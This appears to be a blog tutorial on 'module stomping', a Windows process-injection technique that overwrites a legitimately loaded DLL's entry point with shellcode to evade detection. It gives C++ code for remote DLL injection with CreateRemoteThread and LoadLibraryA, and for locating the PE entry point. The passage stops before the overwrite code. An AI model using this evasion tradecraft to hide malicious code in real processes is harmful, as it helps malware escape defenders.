Module stomping is an injection technique that can be used to load our own code into another process.
The way it works is by loading a legitimate DLL into a process, and then “stomping” on it with our own code. This is more evasive than injecting our own code directly as it will appear to be part of a signed, legitimate DLL. It also does not require us to allocate RX (Readable and Executable) memory.
This can be used for both shellcode injection and for injecting DLLs.
In this article, I’m keeping it simple and short by only demonstrating shellcode injection.
If you want to see what’s required for loading a DLL instead, my article on Software Packers showcases how to manually load an executable in memory.
The best way to learn this method is by doing it ourselves.
Starting a new process
We can choose to create our own process or to use an existing one. I’ve chosen the former approach.
intinject_dll(HANDLEprocess_handle,std::stringlibrary_path){autokernel32=GetModuleHandleA("kernel32.dll");LPVOIDload_library_address=nullptr;load_library_address=GetProcAddress(kernel32,"LoadLibraryA");autopath_remote_buffer=VirtualAllocEx(process_handle,nullptr,0x1000,MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE);SIZE_TbytesWritten=0;if(!WriteProcessMemory(process_handle,path_remote_buffer,library_path.c_str(),library_path.length(),&bytesWritten)){log("Couldn't write to process memory");return1;}autoremote_thread=CreateRemoteThread(process_handle,nullptr,0,(LPTHREAD_START_ROUTINE)load_library_address,path_remote_buffer,0,nullptr);WaitForSingleObject(remote_thread,INFINITE);return0;}
Finding the entry point of the DLL
We can find the entry point of the DLL by parsing the PE file and enumerating the process modules for the base address.
By combining the module’s base address and the entry point, we’ll know where to stomp.
intdll_entrypoint(constCHAR*path){std::ifstreamfile(path,std::ios::binary);if(!file){log("Couldn't open %s",path);return1;}file.seekg(0,std::ios::end);std::streampossize=file.tellg();file.seekg(0,std::ios::beg);std::vector<char>buffer(size);if(!file.read(buffer.data(),size)){log("Couldn't' read %s",path);return1;}autodos_header=reinterpret_cast<PIMAGE_DOS_HEADER>(buffer.data());autont_headers=reinterpret_cast<PIMAGE_NT_HEADERS>(buffer.data()+dos_header->e_lfanew);autooptional_header=&nt_headers->OptionalHeader;autoentry_point=optional_header->AddressOfEntryPoint;returnentry_point;}
Stomping
Next, we will overwrite the entry point code with our shellcode.
We don’t have to change memory protections or allocate any memory using this method.